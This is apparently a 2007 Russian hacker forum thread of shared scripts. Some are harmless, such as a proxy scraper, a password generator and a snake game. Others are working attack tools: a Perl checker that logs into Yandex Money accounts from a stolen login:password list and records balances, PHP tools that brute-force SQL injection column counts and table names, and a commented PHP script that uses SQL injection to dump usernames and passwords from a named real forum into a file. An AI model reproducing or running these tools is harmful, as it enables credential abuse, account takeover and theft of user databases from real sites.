$high_anonymity[$i]."<br>";}
echo 
"</fieldset></td></tr></table>"
  
fclose($fo);  
 
?>


Robin_Hood 15.01.2007 18:42

Код:

<?php
$directories = glob("/tmp/*", GLOB_ONLYDIR);
$complete = glob("/tmp/*");
$files = array_diff($directories, $complete);

echo "каталоги в /tmp/<BR>";

foreach($directories as $val) {
echo "$val<BR>\n";
}
echo"<BR>Файлы в /tmp/<BR>";

foreach($files as $val) {
echo "$val<BR>\n";
}

показывает все файлы и папки с каталога тмп(вместо него указываем домашнюю директорию)
(для составления списка самых распространенных директорий)

gizmo 15.01.2007 20:05

Цитата:

Сообщение от nc.STRIEM
Парсер проксей с сайта http://proxy4free.com
Все прокси разделяються на 3 группы: Transparent, Anonymous, High anonymity.
Пример работы скрипта: http://striem.org/proxy/

Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in public_html/test.php on line 9

p-range 15.01.2007 20:16

2gizmo
Код:

global $fr,$transparent,$anonymous,$high_anonymity,$elsepr;
девятая строка

Isis 15.01.2007 21:26

Код:

<?
/*    www.proxy4free.com  -  GRABER    (c) nc.STRIEM*/
$transparent=array();
$anonymous=array();
$high_anonymity=array();
echo "<center><a href='http://proxy4free.com' target=n><b>http://proxy4free.com</b></a><br>All: <a href='proxy.txt' target=n>proxy.txt</a></center>";
function parsproxy($res)
{
  global $fr,$transparent,$anonymous,$high_anonymity,$elsep;
  $strtof='<tr bgcolor="#ffffff" class="text" height=10>';
  $razd=':';
  $razm=sizeof($res);
  for($i=0;$i<$razm;$i++)
  {
    if(strstr($res[$i],$strtof))
    {
        $i++;
        $p=split('>',$res[$i]);
        $p=split('<',$p[1]);
        $proxres=$p[0].$razd;
        $i++;
        $p=split('>',$res[$i]);
        $p=split('<',$p[1]);
        $proxres.=$p[0];
        $i++;
        $p=split('>',$res[$i]);
        $p=split('<',$p[1]);
        if(strstr($p[0],"anonymous"))
          $anonymous[sizeof($anonymous)]=$proxres;
        elseif(strstr($p[0],"high"))
          $high_anonymity[sizeof($high_anonymity)]=$proxres;
        else $transparent[sizeof($transparent)]=$proxres;
      }
  }
}

 $fs=fsockopen("www.proxy4free.com",80);
fwrite($fs,"GET http://proxy4free.com/page1.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n");
$ans='';
while(!feof($fs))
  $ans.=fgets($fs);
$res=split("\n",$ans);
parsproxy($res);
fclose($fs);

$fs=fsockopen("www.proxy4free.com",80);
fwrite($fs,"GET http://proxy4free.com/page2.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n");
$ans='';
while(!feof($fs))
  $ans.=fgets($fs);
$res=split("\n",$ans);
parsproxy($res);
fclose($fs);

$fs=fsockopen("www.proxy4free.com",80);
fwrite($fs,"GET http://proxy4free.com/page3.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n");
$ans='';
while(!feof($fs))
  $ans.=fgets($fs);
$res=split("\n",$ans);
parsproxy($res);
fclose($fs);

  $fo=fopen("proxy.txt","w");
echo "<table border=0 colspan=2 rowspan=2 align=center><tr><td align=center valign=top><fieldset><legend><b>Transparent:</b>".sizeof($transparent)."</legend>";
  for($i=0;$i<sizeof($transparent);$i++)
      {fwrite($fo,$transparent[$i]."\n");
      echo $transparent[$i]."<br>";}
echo "</fieldset></td><td align=center valign=top><fieldset><legend><b>Anonymous:</b>".sizeof($anonymous)."</legend>";
    for($i=0;$i<sizeof($anonymous);$i++)
    {fwrite($fo,$anonymous[$i]."\n");
        echo $anonymous[$i]."<br>";}
echo "</fieldset></td><td align=center valign=top><fieldset><legend><b>High anonymity:</b>".sizeof($high_anonymity)."</legend>";
    for($i=0;$i<sizeof($high_anonymity);$i++)
        {fwrite($fo,$high_anonymity[$i]."\n");
        echo $high_anonymity[$i]."<br>";}
echo "</fieldset></td></tr></table>";
  fclose($fo);
 ?>

Вот рабочий =)

p-range 16.01.2007 14:50

смотри здесь
_http://p-range.info/proxy.txt

pop_korn 23.01.2007 03:58

yandex money balance checker

Цитата:

#!/usr/bin/perl

use LWP::UserAgent;
use HTTP::Cookies;

######################
#writen#by#popkorn####
######################

$url['0'] = 'http://passport.yandex.ru/passport?mode=auth';
$url['1'] = 'http://money.yandex.ru/';
$proxy = '89.110.23.94:5141'; # if u don't need proxy, just set # before this line

my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;

$ua->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.2 (build 01102))');

push @{ $ua->requests_redirectable }, 'POST';

if($proxy =~ m/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6}/){
$ua->proxy('http', "http://$proxy/"); };

open(ACCS, "<accs.txt");
open(LOG, ">logs.txt");

@accs = <ACCS>; close (ACCS);

foreach (@accs){

($login, $pass) = split(':',$_);

$pass =~ s/ |\n//;


$ua->cookie_jar($cookie_jar);

$ua->post( $url['0'],
[login => $login,
passwd => $pass]);

my $response = $ua->post($url['1']);

$content = $response->content;

$sum = 'koshel\'ka net';

while( $content =~/<a href="\/history\.xml" class="in">В Кошельке<\/a><br><span class="sum"><nobr>(\d+,\d+)/g){$sum = $1};

print LOG "$login:$pass:$sum\n";
print "$login:$pass:$sum\n";
$sum = '0 =(';

$cookie_jar->clear_temporary_cookies;

}

close (LOG);


nc.STRIEM 25.01.2007 00:14

скрипт отображает количество людей просматривающих страницу:
PHP код:

<?
$timelim
=20///лимит времени в секундах допустимого бездействия пользоваеля
session_id("hfJKcbJssJ");
session_start();
$f=1;
if(!isset(
$_SESSION['kolvo'])) 
    
$_SESSION['kolvo']=0;
if(
$_SESSION['kolvo']>0)
{
  for(
$i=0;$i<$_SESSION['kolvo'];$i++)
    if(
$_SESSION['users']['ip'][$i]==$_SERVER['REMOTE_ADDR'])
       {
         
$_SESSION['users']['date'][$i]=date('U');
         
$f=0;
         break;
       }

if(
$_SESSION['kolvo']>0)      
for(
$i=0;$i<$_SESSION['kolvo'];$i++)
   if(
date('U')-$_SESSION['users']['date'][$i]>$timelim)
   { for(
$j=$i;$j<$_SESSION['kolvo']-1;$j++)
        {
         
$_SESSION['users']['date'][$j]=$_SESSION['users']['date'][$j+1];
         
$_SESSION['users']['ip'][$j]=$_SESSION['users']['ip'][$j+1];
        }
     
$_SESSION['kolvo']--;
    }
}
if(
$f)
{
  
$_SESSION['users']['ip'][$_SESSION['kolvo']]=$_SERVER['REMOTE_ADDR'];
  
$_SESSION['users']['date'][$_SESSION['kolvo']]=date('U');
  
$_SESSION['kolvo']++;
}
echo 
"Рыл на странице: ".$_SESSION['kolvo'];
?>


cRiLaZ 25.01.2007 20:49

Мой скрипт который подбирает количество колонок в скуле:

PHP код:

<?
######################################   if(is_good_boy($nick)){
######################################     echo <<<GreetZ 
########### GraBBerz TeaM ############     - лАмАрЕз
########## www.grabberz.com ##########     - @стериX
######## (c)оудед бай cRiLaZ #########     - Д'кей
######################################     - КоТ777
#### Брут колонок к СКЛ-инжектион ####     - РиДЖи
######### criSQLcolumnsPicler ########     - сиаттак
####         09.01.2007           ####     - Сато и другим...
######################################     GreetZ;
######################################   }
set_time_limit(0);
error_reporting(0);
?>
<html>
<head><title>criScB</title>
<style>
table, td {
    border : 1px dashed #444444;
    background-color : #000000;
    font : 12px courier new;
    color : #888888;
}
input {
    background-color: #000000;
    font:8pt verdana;
    text-align:center;
    color:#cccccc;
}
</style>
</head>

<body text=00ff00 bgcolor=000000>
<form method='post' action="<?echo $PHP_SELF;?>">
<br><br><br>
<table  border='0' cellspacing='0' cellpadding='2' align='center' width='360'>
<tr><td colspan='2' align='center' style="background-color: #cccccc; font-size: 18px; color: white; font-family: tahoma; padding-left: 5px; color:#000000;">
<b>SQL columns Picker</b></td></tr>
<tr><td align='center' colspan='2'>
by <font color='ff0000'>cRiLaZ</font> for <font color='ff0000'>GraBBerZ TeaM</font>
</td>
</tr>

<tr><td width='15%' align='center'><b>Запрос</b></td>
<td width='50%' align='right'><input name='man_zapros' type='text' value="<?if($_post['man_zapros']){echo $man_zapros;}else{echo 'http://crilaz.net.ru/ind.php?fuck=-1+union+select+|cols|/*';}?>" size=40%>
</td>
<tr>
<td rowspan=2 align=center>
<b>Текст</b>
</td>
<td align=right>
<input type='radio'checked name='text_tipe' value='error'>
<input type='text' size='36' value='Ошибки' name='error_text'>
</td>
</tr>
<tr>
<td align=right>
<input type='radio' name='text_tipe' value='good'>
<input type='text' size='36' value='Нужный' name='good_text'>
</td>
</tr>

<tr><td width='15%' align='center'><b>Колонки</b></td>
<td width='50%' align='right'><input name='columns' type='text' value="<?if($_post['columns']){echo $columns;}else{echo '50';}?>" size='40%'>
</td></tr>

<tr>
<td colspan='2' align='right'>
<input type='submit' value='                     Подобрать...                     ' name='gogogogo'>
</td>
</tr>
</table>
</form><br><br>
<?
if($_POST["gogogogo"]){
    
$man_zapros       htmlspecialchars($_POST['man_zapros']);
    
$arr_url             parse_url($_POST['man_zapros']); 
    
$host             $arr_url['host'];
    
$columns          $_POST['columns'];
    if((int)
$columns>250){echo "<script>alert('Колонок не может быть больше 250!');</script>";}
    if(
$_POST['text_tipe']=="error"){
        
$need_text=$error_text;} 
    else{
        
$need_text=$good_text;}
    
$col_num             "";
    
$content          "";

    for(
$q=1;$q<=$columns;$q++){
        
$bad_col_num.=$q.",";
        
$good_col_num=substr($bad_col_num,0,(count($col_num)-2));
        
        
$request=str_replace("|cols|",$good_col_num,$man_zapros);
        
$zapros="GET $request HTTP/1.0\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n";
        
$soket=fsockopen("www.".$host80$errno$errstr10) or die ("$errstr ($errno)");
        
fwrite($soket$zapros);
        while(!
feof($soket)){
            
$content.=fgets($soket);}
        
//@$hell_words=eregi($need_text, $content);
        
if(($_POST['text_tipe']=="error" && !eregi($need_text,$content) || ($_POST['text_tipe']=="good" && eregi($need_text,$content)))){
            echo 
"<br><font color='00ff00'>$request</font>";} 
        else{
            echo 
"<br><font color='ff0000'>$request</font>";}
        
$content="";
        
$request="";
    }
}
?>

А этот аналогично бодбирает названия таблиц или колонок, чего захотите вобщем

PHP код:

<?
######################################   гРит3ы: if(is_good_boy($nick)){
######################################     echo <<<freind 
########### GraBBerz TeaM ############     - лАмАрЕз
########## www.grabberz.com ##########     - @стериX
######## (c)оудед бай cRiLaZ #########     - Д'кей
######################################     - КоТ777
## Брут имен к колонкам и таблицам ###     - РиДЖи
########## criSQLtableBruter #########     - сиаттак
############# 14.01.2007 #############     - Сато и другим
######################################     freind;
######################################   }
set_time_limit(0);
error_reporting(0);
?>
<html>
<head><title>criStB</title>
<style>
table, td {
    border : 1px dashed #444444;
    background-color : #000000;
    font : 12px courier new;
    color : #888888;
}
input {
    background-color: #000000;
    font:8pt verdana;
    text-align:center;
    color:#cccccc;
}
</style>
</head>

<body text=00ff00 bgcolor=000000>
<form method='post' action="<?echo $PHP_SELF;?>">
<br><br><br>
<table  border='0' cellspacing='0' cellpadding='2' align='center' width='360'>
<tr><td colspan='2' align='center' style="background-color: #cccccc; font-size: 18px; color: white; font-family: tahoma; padding-left: 5px; color:#000000;">
<b>SQL tables Bruter</b></td></tr>
<tr><td align='center' colspan='2'>
by <font color='ff0000'>cRiLaZ</font> for <font color='ff0000'>GraBBerZ TeaM</font>
</td>
</tr>

<tr><td width='15%' align='center'><b>Запрос</b></td>
<td width='50%' align='right'><input name='man_zapros' type='text' value="http://crilaz.net.ru/ind.php?fuck=-1+union+select+1,2+from+|word|/*" size=40%>
</td>
<tr>
<td rowspan=2 align=center>
<b>Текст</b>
</td>
<td align=right>
<input type='radio'checked name='text_tipe' value='error'>
<input type='text' size='36' value='Ошибки' name='error_text'>
</td>
</tr>
<tr>
<td align=right>
<input type='radio' name='text_tipe' value='good'>
<input type='text' size='36' value='Нужный' name='good_text'>
</td>
</tr>

<tr><td width='15%' align='center'><b>Словарь</b></td>
<td width='50%' align='right'><input name='slovar' type='text' value='slovar.txt' size='40%'>
</td></tr>

<tr>
<td colspan='2' align='right'>
<input type='submit' value='                     Подобрать...                     ' name='gogogogo'>
</td>
</tr>
</table>
</form>
<?
if($_POST["gogogogo"]){
    
$man_zapros htmlspecialchars($_POST['man_zapros']);
    
$arr_url    parse_url($_POST['man_zapros']); 
    
$host       $arr_url['host'];
    
$brute_file $_POST['slovar'];
    if(
$_POST['text_tipe']=="error"){
        
$need_text=$error_text;} 
    else{
        
$need_text=$good_text;}
    
$content    "";
    
$brute_arr=file("$brute_file") or die ("Невозможно открыть файл со словарем!");
    foreach(
$brute_arr as $value){        
        
$request=str_replace("|word|",$value,$man_zapros);
        
$zapros="GET $request HTTP/1.0\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n";
        
$soket=fsockopen("www.".$host80$errno$errstr10) or die ("$errstr ($errno)");
        
fwrite($soket$zapros);
        while(!
feof($soket)){
            
$content.=fgets($soket);}
        if((
$_POST['text_tipe']=="error" && !eregi($need_text,$content) || ($_POST['text_tipe']=="good" && eregi($need_text,$content)))){
            echo 
"<br><font color='00ff00'>$request</font>";} 
        else{
            echo 
"<br><font color='ff0000'>$request</font>";}
        
$content="";
        
$request="";
    }
}
?>

(многие вещи не проверял, т.к. не люблю писать всякую чушь)
Пример работы можно посмотреть сдесь:
http://crilaz.grabberz.com/tools/SQL/criScP.php - колонки
http://crilaz.grabberz.com/tools/SQL/criStB.php - таблицы

NOmeR1 08.02.2007 12:35

Генерация пароля
PHP код:

<?php 
print "<body  BGcolor=Black TEXT=White>";
print 
"<form action=$PHP_SELF method=post>\nСимволов: <INPUT NAME=\"lenght[]\"><br>"
print 
"</select>\n<br><input type=submit value=Сгенерировать>\n<br>"
print 
"</form>"


$symb "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890!@#$%^&*()_+#№-=<>`"
$count strlen($symb)-1
if(empty(
$lenght)) {exit();} 
else 

foreach (
$lenght as $digit
print 
"<b>Ваш пароль:</b><br>"
for(
$i=0$i <= ($digit-1); $i++) 

$rand rand(0$count); 
print 
"<font face=verdana size=2 color=lime>$symb[$rand]"

print 
"</font><HR width=100%>"

?>


Digimortal 10.02.2007 01:09

Очень нужный и полезный каждому хэкиру скрипт =) :
PHP код:

#!/usr/bin/perl
use strict;
use 
Tk;
use 
Data::Dumper;

my $mw MainWindow->new(-title=>"Super Nibbles!");

my $score 0;
my $start time;

my $score_board $mw->Label()->pack();
$score_board->configure(-text => "Score: $score");
my $board $mw->Canvas(-width => 600, -height => 400)->pack();
$mw->bind("<Left>" sub set_direction(0) });
$mw->bind("<Right>"sub set_direction(1) });
$mw->bind("<Up>"   sub set_direction(2) });
$mw->bind("<Down>" sub set_direction(3) });


Tk::After->new($mw,150,'repeat'sub move() } );

$board->createGrid(0,0,10,10 );

my $moves = [ [-10], [ 10], [ 0,-1], [ 01] ];
my $food  = [  ];
my $food_size = [1,1,1,1,1,3,5];
my $food_color = {
                 
=> 'green',
                 
=> 'yellow',
                 
=> 'purple' };



place_food() for (1..5);

my $snake = {
          
direction => 0,
          
blocks    =>[ [10,5], [11,5], [12,5] ],
          
food      => 0,
};

sub update_score_board {
  
$score_board->configure(-text => "Score: $score Time: " . (time $start));
}

sub set_direction {
    
my $dir shift;
    
my $cur $snake->{direction};
    
move() if ($dir == $cur);
    
unless ( ($cur == and $dir == 0) or
             (
$cur == and $dir == 1) or
             (
$cur == and $dir == 3) or
             (
$cur == and $dir == 2) ) {
                 
$snake->{new_direction} = $dir ;
    }
}

sub in_bounds {
    
my ($x,$y) = @_;
    return 
if ($x >= and $x <= 59 and $y >= and $y <= 39);
    return 
0;
}


sub hit_food {
    
my ($x,$y) = @_;
    for 
my $block (@$food) {
        if (
$x == $block->[0] and $y == $block->[1]) {
           
my $hits $block->[2];
           
$block undef;
           
$food = [ grep defined $_ } @$food ];
           return 
$hits;
        }
    }
    return 
0;
}

sub hit_snake {
    
my ($x,$y) = @_;
    for 
my $block (@{$snake->{blocks}}) {
        if (
$x == $block->[0] and $y == $block->[1]) {
           return 
1;
        }
    }
    return 
0;
}

sub place_food {
    
my $x undef;
    
my $y;
    while ( !
defined $x or
           !
in_bounds($x,$y) or
            
hit_food($x,$y)   or
            
hit_snake($x$y) )
    {
        
$x int(rand 60);
        
$y int(rand 40);
    }
    
push @$food, [$x,$y$food_size->[int(rand @$food_size)]];
}

sub move {
    if (
exists $snake->{new_direction}) {
        
$snake->{direction} = $snake->{new_direction};
        
delete $snake->{new_direction};
    }
    
my ($xc,$yc) = @{$moves->[ $snake->{direction} ] };
    
my $last_pos $snake->{blocks}->[0];
    
my $new_pos  =[$last_pos->[0] + $xc$last_pos->[1] + $yc];
    if (
in_bounds( @$new_pos ) && !hit_snake(@$new_pos) ) {
       
unshift  @{$snake->{blocks}}, $new_pos;
       
my $hits hit_food(@$new_pos);
       if (
$hits) {
          
warn "Place new food ($hits)";
          
place_food();
          
show_food();
          
$snake->{food} += $hits;
          
$score += $hits;
       }

       if (
$snake->{food} > 0) {
          
$snake->{food}--;
       } else {
          
pop   @{$snake->{blocks}};
       }
       
show_snake();
    } else {
       
$mw->destroy;
       die 
"You died";
    }
    
update_score_board();
}



sub show_snake {
    
$board->delete('snake');
    for 
my $block (@{$snake->{blocks}}) {
        
block($board$block->[0], $block->[1], 'red''snake');
    }
}

sub show_food {
    
$board->delete('food');
    for 
my $block ( @$food ) {
        
block($board$block->[0], $block->[1], $food_color->{$block->[2]}, 'food');
    }
}

show_snake();
show_food();


MainLoop;

sub block {
    
my ($canvas,$x,$y,$color$tag) = @_;
    
$color ||= 'red';
    
$canvas->createRectangle($x*10,$y*10,($x+1) * 10, ($y 1) *10, -fill=> $color, -tags => [$tag]);



cRiLaZ 16.02.2007 00:27

надоели те, кто просит вытащить базу? Посылай их на... , тьфу ты :) сюда то есть.
Снабдил обильным количеством коментов, так что не надо стучать и просить переделать для Вас, лучше почитайте книжечку, это полезнее.
PHP код:

<?
/*************************************************
 *            15.02.2007 22:00-23:12             *
 *   супер пупер скрипт для вытаскивания баз     *
 *                                               *
 *                                               *
 *            (c)одед бай cRiLaZ                 *
 *              (GraBBerZ TeaM)                  *
 *                                               *
 *           Приват в МИР!!!!!!!!!               *
 *        протева закрытых сорцов ;)             *
 ************************************************/
/*конфиг*/
$host="forum.tomsk.ru"#хост
$how_much=4# скока раз повторять цикл
/*функция, пишущая в файл sql.txt*/
function input_into($text)
{
    
$a_file=fopen("./sql.txt","a+");
    
fputs($a_file,"$text");
    
fclose($a_file);
}
/*собсно цикл*/
for($q=1;$q<=$how_much;$q++)
{
    
/*сдесь все, что после хоста*/
    
$string_query="forum.php?a=24&user_id=-1+UNION+SELECT+1,CONCAT(CHAR(45,45,45),user_name,CHAR(45,45),user_pass,CHAR(45,45,45)),null,null,null,null,null,null,null,null+FROM+forum_user+WHERE+id=$q/* HTTP/1.0\n\n";
    
/*формируем запрос к серву, в разных скулях тут по разному нада поставить*/
    
$request ="GET http://".$host."/".$string_query." HTTP/1.1\n";
    
$request.="Host: ".$host."\n";
    
$request.="User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n";
    
$request.="Connection: keep-alive\n";
    
/*открываем сокет*/
    
$soket=fsockopen($host,80,$errno,$errstr,13); #13 )))
    
fwrite($soket,$request); #пишем в сокет
    
while(!feof($soket)){            #
            
$content.=fgets($soket);}#читаем
    
fclose($soket); #закрываем
    /*регулярка*/
    
ereg("(---(.*)---)",$content,$infa);
    
/*пишем в файл результаты*/
    
input_into("$q)".$infa[0]."\n");
    
/*обнуляем все, ваще то нада тока контент, но мы же примерные*/
    
$content="";
    
$params="";
    
$request="";
}

/*************************************************
 * а это для тех, кто в доспехах ;)
 * в общем регулярка думаю все понятно 
 * "---" - это начало и конец строки, 
 * "(.*)" - это любые значения. 
 * Т.е. в массив будет попадать все следующего вида 
 * "---login:pwd:mail---", если канешна в пассе, логине и т.д. нету "---".
 * Ну наверно все, скуль для испытаний я взял у [sql].
 * Просьба нащет орфографии не че не писать!!! 
 * Пешу так спициальна по своим соображениям! ;)
 ************************************************/
?>



Время: 21:31